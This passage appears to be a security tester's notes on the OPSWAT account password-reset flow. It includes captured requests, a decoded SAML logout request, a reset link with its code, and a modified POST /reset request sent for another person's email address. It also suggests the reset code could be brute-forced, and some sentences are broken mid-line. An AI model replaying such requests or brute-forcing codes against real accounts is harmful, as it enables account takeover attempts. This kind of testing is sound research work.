Origin: https://id.opswat.com
Referer: https://id.opswat.com/
{"email":"mitstudent1102@gmail.com","app":"MyOPSWAT","query":{"app":"appMyOPSWAT0001","SAMLRequest":"nZHRS8MwEMb/lZD3tmlHQUJbHRRZ2aZjHQq+xTbOSJPU3FXtf2/agQORPfiQhzu+3333XTIDjG/s0Q64l++DBCRfujPAfT+ngzPcClC+FFoCx4bXy+2GJyHjvbNoG9vRHyC+DAgA6VBZQ0lV5lS1QSvXb80hrT/YeLXerWBFyYN04CU59YTXAQyyMoDCoG+xJA1YEsSLQ8x4EnMWP1FS+p2VEThTr4g98ChSbWh7+BQYNlZH3ZzvWvR97t92vN/Vj8sDYyymZC8FTCQtMp+Az46O3FqnBV7OM3V8iJdZyqVBhSMt/twgi86zTz53Hq7Kf/j004EAvR0ttHBDMzzLRXpz1EJ1Z6vT+GIqfn1v8Q0=","RelayState":"id-deKjcT5Sv0y8KPHsH|1739442061|7a5f377c9be70627979b1585f14ee07cb3b8b107"}}
The decoded SAML request:
<ns0:LogoutRequest xmlns:ns0="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:ns1="urn:oasis:names:tc:SAML:2.0:assertion" ID="id-deKjcT5Sv0y8KPHsH" Version="2.0" IssueInstant="2025-02-13T10:21:01Z" Destination="https://id.opswat.com/logout?app=appMyOPSWAT0001" Reason="">
<ns1:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
https://id.opswat.com
</ns1:Issuer>
<ns1:NameID Format="urn:oasis:names:tc:SAML:2.0:nameid-format:persistent">
mitstudent1102@gmail.com
</ns1:NameID>
</ns0:LogoutRequest>
I received a reset password email to the marucube35@gmail.com
address, which has a link:
https://id.opswat.com/changePassword?
code=723974&
email=H4sIAAAAAAAAAwXBCQHAMAgDQEsl0EHk8BT%2FEnYXNkqWuO%2FzE5nBaeaHWunnfufmrdTorA4ARpnFaaNBW3%2B9DVXwQAAAAA%3D%3D&
app=appMyOPSWAT0001
The value of the email
parameter is the encrypted version of the marucube35@gmail
, which is in the email
field of the request body. So, the email in SAML Request is irrelevant.
Question: Can I receive the reset password email for another user?
Answer: No.
Because we can not forge the
code
is feasible for brute-forcing.
I can remove the SAMLRequest
and the RelayState
parameters for receiving the same reset password email:
POST /reset HTTP/2
Host: id-api.opswat.com
Content-Length: 83
Content-Type: application/json
{"email":"quan.m.le@opswat.com","app":"MyOPSWAT","query":{"app":"appMyOPSWAT0001"}}
This behaviour indicates that those removed parameters has no impact on the functionality.
The request in email leads to the following page: